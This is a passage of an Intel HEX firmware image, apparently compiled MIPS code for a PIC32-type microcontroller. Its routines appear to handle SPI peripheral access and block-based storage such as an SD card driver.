b9400f000000001800c293200042241d\n:103e80001800c2a31800c2931c00c32721106200af\n:103e9000212040008000c58f01000624c6b6400fd7\n:103ea000000000001800c293010042241800c2a3c1\n:103eb0001800c2931c00c32721106200212040007b\n:103ec0007c00c58f2ab9400f000000001800c29383\n:103ed000200042241800c2a31800c2931c00c3276c\n:103ee000211862007800c293212060002128400040\n:103ef00003000624c6b6400f000000001800c2935d\n:103f0000030042241800c2a31c00c2272120400045\n:103f10007b4b410f00000000ff0042301c00c32714\n:103f20001000a0af1400a0af2120000021286000e5\n:103f3000213040002138000038ce400f0000000042\n:103f400004004014000000002110000005d0400bc8\n:103f50000000000000a0023cdc564224f400428c29\n:103f6000e803432400a0023cdc5642249c00428c1f\n:103f700018006200122000006800c4afeb51023c40\n:103f80001f8542346800c38f1900620010100000c2\n:103f90004211020021204000240e410f00000000c9\n:103fa0008400c28f040040140000000001000224bd\n:103fb00005d0400b000000007800c2931c00c3270e\n:103fc000212060002128400011cf400f0000000098\n:103fd00004004014000000002110000005d0400b38\n:103fe000000000001c00c227212040007c00c58f7b\n:103ff000080006240954410f00000000040040108e\n:10400000000000002110000005d0400b000000005f\n:104010000100022421e8c0037400bf8f7000be8f2e\n:104020007800bd270800e00300000000b8ffbd27ae\n:104030004400bfaf4000beaf21f0a0034800c4afb2\n:104040004c00c5af1800c22721204000cbce400f46\n:1040500000000000040040100000000021100000db\n:1040600056d0400b000000004c00c28f0000428080\n:104070000400401400000000059d023c40fd422465\n:104080004c00c2af1800c22721204000059d023c11\n:104090003cfd452402000624214b410f0000000096\n:1040a0001a00c227212040004c00c58f2ab9400fba\n:1040b000000000003a00c0a31800c22721204000e1\n:1040c0007b4b410f00000000ff0042301000a0af0a\n:1040d0001400a0af212000001800c3272128600091\n:1040e000213040002138000038ce400f0000000091\n:1040f00004004014000000002110000056d0400bc6\n:10410000000000001800c22721204000cbce400f45\n:104110000000000004004014000000002110000016\n:1041200056d0400b0000000001000224988082afae\n:1041300000a0023cf06a44244c00c58f574a410f4e\n:10414000000000004800c48f4c00c58f574a410f43\n:10415000000000000100022421e8c0034400bf8fda\n:104160004000be8f4800bd270800e00300000000ab\n:1041700098ffbd276400bfaf6000beaf21f0a00371\n:104180006800c4af3400c0af300002243100c2a3c5\n:1041900011d1400b00000000100002243200c2a325\n:1041a0000ad1400b000000000a0002243000c2a324\n:1041b00003d1400b0000000000a0023cdc5642246a\n:1041c00001000324cc0043ac010002243800c2af3c\n:1041d0002b15410f000000000400401000000000fb\n:1041e0003400c28f1cd1400b000000003000c3938c\n:1041f00000a0023cdc564224e00043ac3100c393f3\n:1042000000a0023cdc564224e80043ac3200c393d9\n:1042100000a0023cdc564224e40043ac3c00c22730\n:1042200021204000c62c410f0000000000a0023ced\n:10423000dc5642249c00478c00a0023cdc56422401\n:10424000e000468c00a0023cdc564224e400458c91\n:1042500000a0023cdc564224e800448c00a0023c52\n:10426000dc564224e000438c00a0023cdc56422491\n:10427000f400428c040008241000a8af1400a7af7b\n:104280001800a6af1c00a0af2000a5af2400a4af6b\n:104290002800a3af2c00a2af059d023c4cfd442496\n:1042a000050005242130000001000724023c410fd5\n:1042b0000000000000a0023cdc564224cc0040acd0\n:1042c00000a0023cdc5642249c00448c00a0023c2e\n:1042d000dc564224a400458c00a0023cdc5642245b\n:1042e000b000428c00a0033cdc5663248c00668c3a\n:1042f0003c00c32700a0073c9957e7241000a7af54\n:104300001400a0af1800a6af1c00a0af0100062447\n:104310002000a6af21306000213840008dff400f03\n:10432000000000002118400000a0023cdc5642249e\n:10433000b000428c32006214000000003c00c22732\n:1043400021204000059d023c54fd4524544e410f60\n:104350000000000002004010000000003800c0af64\n:1043600000a0023cdc56422401000324cc0043acf4\n:104370003800c28f22004010000000003c00c2271d\n:1043800021204000c62c410f000000001c004010fe\n:10439000000000003c00c22721204000212800002e\n:1043a00011cf400f00000000150040100000000079\n:1043b0003000c293059d033c68fd64242128400021\n:1043c0006913410f000000003100c293059d033cba\n:1043d00080fd6424212840006913410f0000000083\n:1043e0003200c293059d033c88fd642421284000cf\n:1043f0006913410f00000000010002243400c2af25\n:104400003000c293010042243000c2a33000c293a6\n:104410003300422c68ff4014000000003200c293b9\n:10442000010042243200c2a33200c2932000422c79\n:104430005dff4014000000003100c29301004224df\n:104440003100c2a33100c2934000422c52ff4014fd\n:1044500000000000059d023c94fd4424059d023ca3\n:1044600098fd45240413410f000000003400c28f62\n:1044700021e8c0036400bf8f6000be8f6800bd27c5\n:104480000800e00300000000e0ffbd271c00bfaff4\n:104490001800beaf21f0a0032000c4af2400c5afb8\n:1044a0002000c48f8db7400f000000001000c2af85\n:1044b000059d023c9cfd44242000c58f0413410f40\n:1044c000000000001000c38f0800023c24106200ae\n:1044d000c21402000500401000000000059d023ccf\n:1044e000bcfd42243dd1400b00000000059d023c74\n:1044f000c4fd4224059d033cccfd642421284000da\n:104500000413410f000000001000c38f0400023ca0\n:104510002410620082140200050040100000000018\n:10452000059d023cbcfd42244ed1400b0000000022\n:10453000059d023cc4fd4224059d033ce8fd642426\n:10454000212840000413410f000000001000c38f19\n:104550000300023c00f04234241062000213020007\n:10456000059d033c04fe6424212840006913410f8b\n:10457000000000001000c38f0300023c00f0423432\n:1045800024106200021302000100422440100200c5\n:10459000059d033c20fe6424212840006913410f3f\n:1045a000000000001000c28f00084230c21202005a\n:1045b0000500401000000000059d023cbcfd4224a7\n:1045c00074d1400b00000000059d023cc4fd422454\n:1045d000059d033c2cfe6424212840000413410f58\n:1045e000000000001000c28f00044230821202005e\n:1045f0000500401000000000059d023cbcfd422467\n:1046000084d1400b00000000059d023cc4fd422403\n:10461000059d033c48fe6424212840000413410ffb\n:10462000000000001000c28f00034230021202009e\n:10463000059d033c64fe6424212840006913410f5a\n:10464000000000001000c28f00034230021a020076\n:10465000059d023c34fd422421106200000042907e\n:10466000059d033c20fe6424212840006913410f6e\n:10467000000000001000c28f80004230c211020012\n:104680000500401000000000059d023cbcfd4224d6\n:10469000a8d1400b00000000059d023cc4fd42244f\n:1046a000059d033c80fe6424212840000413410f33\n:1046b000000000001000c28f7000423002110200a2\n:1046c000059d033c9cfe6424212840006913410f92\n:1046d000000000001000c28f70004230021902007a\n:1046e00000a0023c8018030078724224211062006e\n:1046f0000000428c059d033cb8fe64242128400044\n:104700000413410f000000001000c28f0e00423061\n:1047100042100200059d033cc0fe64242128400095\n:104720006913410f000000001000c28f01004230e9\n:104730000500401000000000059d023cbcfd422425\n:10474000d4d1400b00000000059d023cc4fd422472\n:10475000059d033cdcfe6424212840000413410f26\n:1047600000000000059d023cf8fe44242400c58f93\n:104770000413410f000000002400c48f040005242e\n:104780005cb7400f00000000059d023c94fd4424ee\n:10479000059d023c98fd45240413410f00000000d4\n:1047a0000100022421e8c0031c00bf8f1800be8f47\n:1047b0002000bd270800e00300000000e0ffbd2747\n:1047c0001c00bfaf1800beaf21f0a0032000c4af93\n:1047d0002000c48f8db7400f000000001000c2af52\n:1047e0001000c38ffcff023cff0f4234241862000c\n:1047f00000a0023cdc564224a400428cfeff42246e\n:1048000042100200002302000300023c00f0423488\n:1048100024108200251062001000c2af00a0023cec\n:10482000dc564224a800428c1400c2a31400c29398\n:104830001a004010000000001400c393020002247c\n:1048400004006214000000001400c0a31fd2400b3b\n:10485000000000001400c393040002240500621449\n:1048600000000000010002241400c2a31fd2400b6c\n:1048700000000000020002241400c2a31000c38f35\n:10488000fffc0224241862001400c29300120200ec\n:1048900000034230251062001000c2af00a0023cad\n:1048a000dc564224cc00428c0a004010000000007c\n:1048b00000a0023cdc564224a000439001000224e8\n:1048c00004006214000000001400c0a373d2400b67\n:1048d0000000000000a0023cdc564224c400428cd0\n:1048e0000b0040100000000000a0023cdc564224f7\n:1048f000a0004390010002240500621400000000a3\n:10490000060002241400c2a373d2400b0000000072\n:1049100000a0023cdc564224a00042900700432c39\n:10492000270060100000000080180200039d023c78\n:1049300044494224211062000000428c08004000db\n:1049400000000000c049039d6049039d7049039d1c\n:104950008049039d9049039da049039db049039d53\n:10496000070002241400c2a373d2400b0000000011\n:10497000040002241400c2a373d2400b0000000004\n:10498000050002241400c2a373d2400b00000000f3\n:10499000010002241400c2a373d2400b00000000e7\n:1049a000020002241400c2a373d2400b00000000d6\n:1049b000030002241400c2a373d2400b00000000c5\n:1049c000211000008bd2400b000000001000c38fac\n:1049d0008fff0224241862001400c2930011020009\n:1049e00070004230251062001000c2af1000c38f6b\n:1049f000f1ff02242418620000a0023cdc5642248d\n:104a0000b000428c42110200401002000e00423001\n:104a1000251062001000c2af2000c48f1000c58fa7\n:104a200090b6400f000000000100022421e8c003fe\n:104a30001c00bf8f1800be8f2000bd270800e003b8\n:104a400000000000e8ffbd271400bfaf1000beaf9c\n:104a500021f0a0031800c4af2110a0001c00c2a3c5\n:104a60001c00c2931600432c570060100000000089\n:104a700080180200039d023c8c4a422421106200ef\n:104a80000000428c0800400000000000c84b039d5d\n:104a9000e44a039de44a039de44a039de44a039dde\n:104aa000e44a039de44a039dc84b039dc84b039d04\n:104ab000a44b039da44b039d144b039d5c4b039d92\n:104ac000804b039da44b039d384b039dc84b039d16\n:104ad000144b039dc84b039dc84b039dc84b039dbe\n:104ae000a44b039d1800c48f059d023c18ff45246c\n:104af00008000624214b410f000000001800c48f5d\n:104b0000efd1400f0000000001000224f3d2400b5f\n:104b1000000000001800c48f059d023c24ff4524be\n:104b200008000624214b410f000000000100022470\n:104b3000f3d2400b000000001800c48f059d023c1a\n:104b400030ff452408000624214b410f00000000df\n:104b500001000224f3d2400b000000001800c48fb3\n:104b6000059d023c3cff452408000624214b410fd3\n:104b70000000000001000224f3d2400b00000000fe\n:104b80001800c48f059d023c48ff452408000624f8\n:104b9000214b410f0000000001000224f3d2400b22\n:104ba000000000001800c48f059d023c18ff45243a\n:104bb00008000624214b410f0000000001000224e0\n:104bc000f3d2400b000000002110000021e8c003d8\n:104bd0001400bf8f1000be8f1800bd270800e0032f\n:104be0000000000078ffbd278400bfaf8000beaf8b\n:104bf00021f0a0038800c4af8c00c5af9000c6af01\n:104c00001400c0af1000c0afd3d4400b00000000b0\n:104c10003400c2271c00c2af1800c0af4dd3400bf8\n:104c2000000000001000c28f801002008c00c38fb3\n:104c3000211062000000428c6400422c3a004014b3\n:104c4000000000001000c28f801002008c00c38f93\n:104c5000211062000000428c0102422c3200401000\n:104c6000000000001c00c38f3400c227231862001c\n:104c700045000224030062140000000052d3400be0\n:104c8000000000001000c28f801002008800c38f57\n:104c9000211062000000428c0102422c1d004010d5\n:104ca000000000001000c28f801002008800c38f37\n:104cb000211062000000428c212040008000052469\n:104cc000140006244eb5400f0000000008004010fc\n:104cd000000000001c00c28f010043241c00c3af71\n:104ce00030000324000043a041d3400b000000002b\n:104cf0001c00c28f010043241c00c3af31000324f9\n:104d0000000043a0010002241800c2af4ad3400ba8\n:104d1000000000001000c28f010042241000c2af4a\n:104d200052d3400b000000001000c28f010042244b\n:104d30001000c2af1000c38f9000c28f2b10620012\n:104d4000b8ff4014000000001c00c28f000040a00b\n:104d50001800c28f7d014010000000003400c227ff\n:104d6000212040007b4b410f00000000060003247f\n:104d70005c004310000000000700432c0900601095\n:104d80000000000002000324110043100000000096\n:104d9000050003243a00431000000000cad4400b71\n:104da0000000000026000324a400431000000000bf\n:104db00046000324130143100000000022000324d6\n:104dc0007600431000000000cad4400b0000000031\n:104dd0003400c22721204000059d023c38fd4524b7\n:104de000020006240954410f00000000090040148d\n:104df000000000003400c227059d033c54ff6424da\n:104e0000212840000413410f000000009ed3400bf6\n:104e1000000000003400c22721204000059d023c14\n:104e20006cff4524020006240954410f00000000d5\n:104e300009004014000000003400c227059d033c17\n:104e400070ff6424212840000413410f000000007b\n:104e50009ed3400b000000003400c227059d033c98\n:104e60007cff6424212840000413410f000000004f\n:104e7000d1d4400b00000000d1d4400b0000000052\n:104e80003400c22721204000059d023c4cfd4524f2\n:104e9000050006240954410f0000000009004014d9\n:104ea000000000003400c227059d033c8cff6424f1\n:104eb000212840000413410f00000000d1d4400b12\n:104ec000000000003400c227059d033c7cff6424e1\n:104ed000212840000413410f00000000d1d4400bf2\n:104ee000000000003400c22721204000059d023c44\n:104ef0003cfd4524020006240954410f0000000037\n:104f00001e004014000000003400c227059d033c31\n:104f1000a4ff6424212840000413410f0000000076\n:104f20003400c22702004224059d033cbcff6424d8\n:104f3000212840000413410f000000002000c32777\n:104f40003400c227030042242120600021284000b1\n:104f5000adb9400f000000002000c227059d033cb2\n:104f6000c4ff6424212840000413410f0000000006\n:104f70000c8180afd1d4400b000000003400c22768\n:104f8000059d033c7cff6424212840000413410f4d\n:104f900000000000d1d4400b000000003400c22704\n:104fa00021204000059d023c3cfd452402000624d2\n:104fb0000954410f000000001800401400000000d8\n:104fc0003400c227059d033cccff64242128400007\n:104fd0000413410f000000002000c3273400c22743\n:104fe000020042242120600021284000adb9400f7a\n:104ff000000000002000c227059d033cd8ff642468\n:10500000212840000413410f000000000100022489\n:105010000c8182afd1d4400b000000003400c227c5\n:10502000059d033c7cff6424212840000413410fac\n:1050300000000000d1d4400b000000000c81828fe2\n:1050400033004010000000003400c227212040003f\n:10505000059d023c3cfd4524020006240954410ff5\n:10506000000000002a004014000000003400c227a5\n:10507000059d033ce0ff6424212840000413410ff8\n:10508000000000002000c3273400c2270200422491\n:105090002120600021284000adb9400f0000000031\n:1050a0002000c227059d033cfcff6424212840000a\n:1050b0000413410f000000003400c22722004224e4\n:1050c000059d033cbcff6424212840000413410fcc\n:1050d000000000002000c3273400c2272300422420\n:1050e0002120600021284000adb9400f00000000e1\n:1050f0002000c227059d033c0400642421284000b1\n:105100000413410f00000000d1d4400b0000000048\n:105110000c81828f33004014000000003400c2274d\n:1051200021204000059d023c3cfd45240200062450\n:105130000954410f000000002a0040140000000044\n:105140003400c227059d033c0c0064242128400044\n:105150000413410f000000003400c2270200422463\n:10516000059d033cbcff6424212840000413410f2b\n:10517000000000002000c3273400c227030042249f\n:105180002120600021284000adb9400f0000000040\n:105190002000c227059d033cfcff64242128400019\n:1051a0000413410f000000002000c3273400c22771\n:1051b000230042242120600021284000adb9400f87\n:1051c000000000002000c227059d033c0400642469\n:1051d000212840000413410f00000000d1d4400bef\n:1051e000000000003400c227059d033c7cff6424be\n:1051f000212840000413410f00000000d1d4400bcf\n:10520000000000003400c22721204000059d023c20\n:105210003cfd4524020006240954410f0000000013\n:1052200039004014000000003400c227059d033cf3\n:105230001c006424212840000413410f00000000da\n:105240002000c3273400c22702004224212060002e\n:1052500021284000adb9400f000000002000c22707\n:10526000059d033cfcff6424212840000413410fea\n:10527000000000003400c22722004224059d033ca8\n:10528000bcff6424212840000413410f00000000eb\n:105290002000c3273400c2272300422421206000bd\n:1052a00021284000adb9400f000000002000c227b7\n:1052b000059d033cfcff6424212840000413410f9a\n:1052c000000000002000c3273400c227430042240e\n:1052d0002120600021284000adb9400f00000000ef\n:1052e0002000c227059d033c0400642421284000bf\n:1052f0000413410f00000000010002240c8182af62\n:10530000d1d4400b000000003400c227059d033caf\n:105310007cff6424212840000413410f000000009a\n:10532000d1d4400b000000003400c227059d033c8f\n:105330007cff6424212840000413410f000000007a\n:1053400000000000010002241400c2af1000c38f4f\n:105350009000c28f2b1062002dfe40140000000050\n:10536000059d023c94fd4424059d023c98fd452486\n:105370000413410f000000001400c28f21e8c00395\n:105380008400bf8f8000be8f8800bd270800e00327\n:1053900000000000f8ffbd270400beaf21f0a0030d\n:1053a00088bf023c5061428c010042300100422c17\n:1053b000ff00423021e8c0030400be8f0800bd2773\n:1053c0000800e00300000000f8ffbd270400beafa6\n:1053d00021f0a0033e81829721e8c0030400be8f24\n:1053e0000800bd270800e00300000000f8ffbd270b\n:1053f0000400beaf21f0a0033881828f21e8c003f2\n:105400000400be8f0800bd270800e0030000000074\n:10541000f8ffbd270400beaf21f0a00388bf033c06\n:1054200040616294010004240400827c406162a413\n:1054300088bf033ce060629401000424444a827cfb\n:10544000e06062a488bf033cc0606294444a027c6e\n:10545000c06062a488bf033c4061629401000424e0\n:105460004408827c406162a421e8c0030400be8f2e\n:105470000800bd270800e00300000000e8ffbd278a\n:105480001400bfaf1000beaf21f0a003fdd8400f45\n:105490000000000088bf033ce06062940100042427\n:1054a000444a827ce06062a42110000021e8c0032d\n:1054b0001400bf8f1000be8f1800bd270800e00346\n:1054c00000000000c8ffbd273400bfaf3000beaff2\n:1054d00021f0a0033800c4af2110a0004000c6afe7\n:1054e0003c00c2a388bf033ce0606294444a027c53\n:1054f000e06062a43c00c293059d043c8010020061\n:105500008018020023186200a04282242110620049\n:10551000000042902800c2a34000c28f2400c2af06\n:105520003c00c293059d043c8010020080180200dc\n:1055300023186200a04282242110620001004290e0\n:105540002000c2a32800c293010003248431627c9e\n:105550002800c2a32800c293212040000ad9400f8e\n:10556000000000002700c293212040000ad9400f0c\n:10557000000000002600c293212040000ad9400ffd\n:10558000000000002500c293212040000ad9400fee\n:10559000000000002400c293212040000ad9400fdf\n:1055a000000000002000c293212040000ad9400fd3\n:1055b000000000003c00c3930500022403006214b5\n:1055c0000000000023d9400f000000001400022456\n:1055d0001000c2a723d9400f000000001800c2a38a\n:1055e0001000c297ffff42241000c2a71800c39307\n:1055f000ff00022404006214000000001000c297a3\n:10560000f4ff4014000000003c00c293059d033ce1\n:10561000a042632480100200802002002310820038\n:10562000211062000400438c02000224080062146e\n:10563000000000001800c2931900c2a323d9400f34\n:10564000000000001800c2a3c7d5400b00000000f6\n:105650003c00c293059d033ca042632480100200dd\n:105660008020020023108200211062000400438c7d\n:105670000100022412006214000000000a00023c33\n:105680001400c2af23d9400f000000001800c2a3cd\n:105690001400c28fffff42241400c2af1800c2934f\n:1056a00004004014000000001400c28ff5ff4014f5\n:1056b000000000001800c0a3c7d5400b0000000088\n:1056c0003c00c293059d033ca0426324801002006d\n:1056d0008020020023108200211062000400438c0d\n:1056e000040002240d0062140000000023d9400fc2\n:1056f000000000001f00c2a323d9400f00000000db\n:105700001e00c2a323d9400f000000001d00c2a349\n:1057100023d9400f000000001c00c2a3ff00042496\n:105720000ad9400f000000003c00c293059d043cd4\n:10573000801002008018020023186200a042822418\n:105740002110620008004290060040140000000092\n:1057500088bf033ce060629401000424444a827cd8\n:10576000e06062a43800c28f1800c48f1c00c38f91\n:10577000000044ac040043ac3800c28f21e8c003f1\n:105780003400bf8f3000be8f3800bd270800e00313\n:1057900000000000d0ffbd272c00bfaf2800beaf27\n:1057a00021f0a0033000c4af3400c5af00020224d2\n:1057b0001400c2a7000202241800c2af3400c28f36\n:1057c0001c00c2af3000c28f2000c2af0100022413\n:1057d0002400c2a31400c227212040000fd6400f8e\n:1057e000000000001000c2a31000c2930400401487\n:1057f000000000000100022409d6400b0000000058\n:105800001000c393ff000224040062140000000093\n:105810002110000009d6400b00000000f5d5400b18\n:105820000000000021e8c0032c00bf8f2800be8fbd\n:105830003000bd270800e00300000000d0ffbd27b6\n:105840002c00bfaf2800beaf21f0a0033000c4afd2\n:105850003000c28f10004290020003248a004310df\n:105860000000000003004328080060100000000052\n:105870000e00401000000000010003240e00431041\n:10588000000000002cd7400b0000000003000324a0\n:105890005700431000000000fe000324f7004310ef\n:1058a000000000002cd7400b000000002110000079\n:1058b00035d7400b0000000000020224568082a76a\n:1058c00000a0023c3000c38f0000648c0400678c91\n:1058d0000800668c0c00658c1000638c0c7244ac64\n:1058e0000c724424040087ac0c724424080086ac7b\n:1058f0000c7244240c0085ac0c724224100043aca2\n:105900003c818293080040140000000000a0023c8b\n:105910000c7242240c00428c401a020000a0023c8f\n:105920000c7242240c0043ac00a0023c0c724224d6\n:105930000400428c0102422c0e00401000000000c6\n:1059400001000224588082af00a0023c0c72422465\n:105950000c00428c1800c327212060000800052499\n:105960002130400031d5400f000000006bd6400bc5\n:1059700000000000588080af00a0023c0c7242245e\n:105980000c00428c2000c327212060000900052460\n:105990002130400031d5400f000000002000c38faf\n:1059a0002400c28f1800c3af1c00c2af1800c293fe\n:1059b00007004010000000003000c28ffeff0324eb\n:1059c000100043a00100022435d7400b0000000066\n:1059d0000400023c5c8082af3000c28f03000324cd\n:1059e000100043a00100022435d7400b0000000046\n:1059f0005c80828f1e004010000000005c80828f5f\n:105a0000ffff42245c8082af23d9400f00000000da\n:105a10001600c2a31600c393ff00022411006210f7\n:105a2000000000001600c393fe0002240700621469\n:105a3000000000003000c28f02000324100043a0c9\n:105a40000200022435d7400b000000003000c28f56\n:105a5000feff0324100043a00100022435d7400bb1\n:105a6000000000000100022435d7400b00000000b8\n:105a70003000c28ffeff0324100043a00100022467\n:105a800035d7400b0000000000a0023c0c724224fd\n:105a90000400428c63004010000000003000c28f00\n:105aa0000000439400a0023c0c7243a43000c28f5b\n:105ab0000800438c00a0023c0c724224080043ac56\n:105ac00000a0023c0c7242240400438c00a0023c63\n:105ad0000c7242942318620000a0023c0c72422413\n:105ae000040043ac5680839700a0023c0c724294a1\n:105af00023106200ffff4230568082a700a0023cc4\n:105b00000c7242240800428c1000c2af00a0023c7c\n:105b10000c7242941400c2a71400c2972a004010cd\n:105b2000000000001000c28fffff42241000c2af2f\n:105b300080bf023cff000324205e43ac1000c28ff4\n:105b4000010042241000c2af1400c297ffff42249c\n:105b50001400c2a71400c297040040140000000003\n:105b600000000000e8d6400b00000000000000002c\n:105b700080bf023c105e428c01004230fcff4010ae\n:105b80000000000080bf023c205e428cff004330da\n:105b90001000c28f000043a0ccd6400b00000000d4\n:105ba00080bf023c105e428c01004230fcff40107e\n:105bb0000000000080bf023c205e428cff004330aa\n:105bc0001000c28f000043a056808297120040143c\n:105bd0000000000023d9400f0000000023d9400f2f\n:105be0000000000000a0023c0c7242240400428c21\n:105bf00004004010000000003000c28f03000324a6\n:105c0000100043a000020224568082a70100022453\n:105c100035d7400b000000000200022435d7400bae\n:105c2000000000005880828f070040140000000030\n:105c30002000c2272120400005000524213000005b\n:105c400031d5400f0000000088bf033ce060629443\n:105c500001000424444a827ce06062a4ff00042422\n:105c60000ad9400f000000003000c28f100040a091\n:105c70002110000035d7400b000000003000c28f1b\n:105c8000ffff0324100043a02000c2272120400072\n:105c9000050005242130000031d5400f0000000030\n:105ca0002000c38f2400c28f1800c3af1c00c2aff6\n:105cb00088bf033ce060629401000424444a827c73\n:105cc000e06062a4ff0004240ad9400f0000000035\n:105cd000ff00022421e8c0032c00bf8f2800be8fe4\n:105ce0003000bd270800e00300000000c8ffbd270a\n:105cf0003400bfaf3000beaf21f0a0033800c4af06\n:105d00003800c28f10004290020003247800431034\n:105d1000000000000300432808006010000000009d\n:105d20001100401000000000010003241100431086\n:105d30000000000093d8400b000000000400032482\n:105d4000150143100000000004004328d000601437\n:105d500000000000fe0003242b014310000000009f\n:105d600093d8400b000000002110000094d8400b95\n:105d70000000000000020224608082a700a0023c14\n:105d80003800c38f0000648c0400678c0800668ca8\n:105d90000c00658c1000638c0c7244ac0c724424b3\n:105da000040087ac0c724424080086ac0c724424b6\n:105db0000c0085ac0c724224100043ac00a0023ce5\n:105dc0000c7242240400428c0102422c0500401057\n:105dd000000000000a000224628082a395d7400bd5\n:105de000000000000b000224628082a300a0023c9d\n:105df0000c7242240400428c421202001000c2af16\n:105e00001000c28f04004014000000001000c28f78\n:105e1000010042241000c2af1c00c2272120400014\n:105e20000f0005242130000031d5400f0000000094\n:105e30001c00c29307004014000000002800c22785\n:105e400021204000130005241000c68f31d5400fdb\n:105e5000000000003c818293080040140000000014\n:105e600000a0023c0c7242240c00428c401a02003a\n:105e700000a0023c0c7242240c0043ac628082936e\n:105e80002118400000a0023c0c7242240c00428cfd\n:105e90002800c427212860002130400031d5400f60\n:105ea000000000002800c38f2c00c28f1c00c3af6d\n:105eb0002000c2af1c00c293070040100000000089\n:105ec0003800c28fffff0324100043a0ff0002240c\n:105ed00094d8400b000000003800c28f0200032459\n:105ee000100043a00200022494d8400b00000000e0\n:105ef00060808397000202240d00621400000000fd\n:105f0000628083930b0002240600621400000000ec\n:105f1000fc0004240ad9400f00000000ccd7400b3d\n:105f200000000000fe0004240ad9400f0000000019\n:105f30003800c28f0000439400a0023c0c7243a4be\n:105f40003800c28f0800438c00a0023c0c7242242f\n:105f5000080043ac00a0023c0c7242240400438cb5\n:105f600000a0023c0c7242942318620000a0023c84\n:105f70000c724224040043ac6080839700a0023c72\n:105f80000c72429423106200ffff4230608082a7af\n:105f900000a0023c0c7242240800428c1400c2afe4\n:105fa00000a0023c0c7242941800c2a71400c28fd9\n:105fb000010043241400c3af0000429021184000a8\n:105fc00080bf023c205e43ac1800c297ffff422412\n:105fd0001800c2a70000000080bf023c105e428c87\n:105fe00001004230fcff40100000000080bf023c76\n:105ff000205e428cff004230638082a31800c2976b\n:10600000eaff401400000000608082971d004014e9\n:106010000000000000020224608082a7ff00042428\n:106020000ad9400f00000000ff0004240ad9400fe5\n:106030000000000023d9400f000000001f00433083\n:106040000500022407006210000000003800c28f23\n:10605000feff0324100043a00300022494d8400b49\n:10606000000000003800c28f03000324100043a08a\n:106070000a00023c648082af0300022494d8400be3\n:10608000000000000200022494d8400b0000000031\n:106090006480828f3a004010000000006480828f8c\n:1060a000ffff4224648082afff0004240ad9400f1e\n:1060b0000000000023d9400f00000000638082a38d\n:1060c000638082932b0040100000000000a0023c7f\n:1060d0000c7242240400428c200040140000000096\n:1060e0000a00023c648082af628083930b0002242a\n:1060f0000d00621400000000fd0004240ad9400fc6\n:1061000000000000ff0004240ad9400f0000000036\n:106110003800c28f04000324100043a003000224af\n:1061200094d8400b0000000088bf033ce0606294fc\n:1061300001000424444a827ce06062a4ff0004243d\n:106140000ad9400f000000003800c28f100040a0a4\n:106150002110000094d8400b000000003800c28fce\n:1061600002000324100043a00200022494d8400b34\n:10617000000000000300022494d8400b000000003f\n:106180003800c28ffeff0324100043a00300022446\n:1061900094d8400b000000006480828f1a004010e9\n:1061a000000000006480828fffff4224648082af81\n:1061b00023d9400f00000000638082a36380829394\n:1061c0000e0040100000000088bf033ce0606294b5\n:1061d00001000424444a827ce06062a4ff0004249d\n:1061e0000ad9400f000000003800c28f100040a004\n:1061f0002110000094d8400b00000000030002248e\n:1062000094d8400b000000002800c2272120400045\n:10621000050005242130000031d5400f00000000aa\n:1062200088bf033ce060629401000424444a827cfd\n:10623000e06062a4ff0004240ad9400f00000000bf\n:106240003800c28fffff0324100043a0ff00022488\n:1062500021e8c0033400bf8f3000be8f3800bd2757\n:106260000800e00300000000e0ffbd271c00bfaff6\n:106270001800beaf21f0a0032000c4af2400c5afba\n:106280002110c0002800c2a32800c29307004014b8\n:10629000000000002000c28f040040140000000035\n:1062a00021100000d2d8400b0000000000a0023cea\n:1062b00000020324207243a400a0023c2072422466\n:1062c00000020324040043ac00a0023c20724224dc\n:1062d0002400c38f080043ac00a0023c207242247b\n:1062e0002000c38f0c0043ac00a0023c207242246b\n:1062f00001000324100043a000a0023c20724424ab\n:106300003bd7400f000000001000c2a31000c29352\n:10631000040040140000000001000224d2d8400b09\n:10632000000000001000c393ff0002240400621468\n:106330000000000021100000d2d8400b0000000037\n:10634000bed8400b0000000021e8c0031c00bf8f36\n:106350001800be8f2000bd270800e00300000000e9\n:10636000f8ffbd270400beaf21f0a00388bf023ca8\n:106370005061428c4000427cff00423021e8c00363\n:106380000400be8f0800bd270800e00300000000e5\n:10639000f0ffbd270c00beaf21f0a003211080004c\n:1063a0001000c2a31000c293f3d8400b0000c2a398\n:1063b0000b2702240400c2af000000000400c28fbb\n:1063c000ffff4324fdff40140400c3af0000c2934d\n:1063d000ffff4324f6ff40140000c3a34000000069\n:1063e0000000000021e8c0030c00be8f0800e0039d\n:1063f0001000bd27f8ffbd270400beaf21f0a003a9\n:1064000080bf023c105e428cff7f433080bf023c65\n:10641000105e43ac21e8c0030400be8f0800bd2716\n:106420000800e00300000000e0ffbd271c00bfaf34\n:106430001800beaf21f0a003211080002000c2a3ed\n:106440000000000080bf023c105e428c0800423019\n:10645000fcff4010000000002000c39380bf023cfe\n:10646000205e43ac1159410f000000001000c2a390\n:106470002110000021e8c0031c00bf8f1800be8f50\n:106480002000bd270800e00300000000e8ffbd2752\n:106490001400bfaf1000beaf21f0a0030000000049\n:1064a00080bf023c105e428c08004230fcff40106e\n:1064b0000000000080bf023cff000324205e43accc\n:1064c0001159410f00000000ff00423021e8c003d5\n:1064d0001400bf8f1000be8f1800bd270800e00316\n:1064e00000000000e8ffbd271400beaf21f0a003ac\n:1064f0001800c4af80bf023c105e40acc404023c34\n:1065000000b442340000c2af3101023c002d4234dd\n:106510000400c2af0400c28f401002000000c38f0d\n:106520001b006200f4014000101000001210000077\n:106530000800c2af0400c28f401002000000c38fe9\n:106540001b006200f4014000101000000400401025\n:10655000000000000800c28f010042240800c2af02\n:106560000800c28f0101422c03004014000000000b\n:10657000000102240800c2af0800c28f04004010ce\n:10658000000000000800c28fffff42240800c2afd5\n:106590000800c28fff0042302118400080bf023c3b\n:1065a000305e43ac80bf033c005e628c010004247b\n:1065b0008431827c005e62ac80bf033c005e628cf2\n:1065c0000442027c005e62ac88bf033cc0606294ff\n:1065d0008452027cc06062a488bf033cc0606294a5\n:1065e0000400027cc06062a488bf033c80606294a7\n:1065f000010004240421827c806062a480bf033ceb\n:10660000005e628c01000424c47b827c005e62ac6c\n:1066100021e8c0031400be8f1800bd270800e00366\n:1066200000000000d8ffbd272400bfaf2000beaf90\n:1066300021f0a00320030424008005344b56410fb1\n:1066400000000000c404023c00b442341000c2af99\n:106650000600023c801a42341400c2af1400c28ffc\n:10666000401002001000c38f1b006200f4014000c4\n:1066700010100000121000001800c2af1400c28fea\n:10668000401002001000c38f1b006200f4014000a4\n:106690001010000004004010000000001800c28f1d\n:1066a000010042241800c2af1800c28f0101422c21\n:1066b0000300401400000000000102241800c2afd3\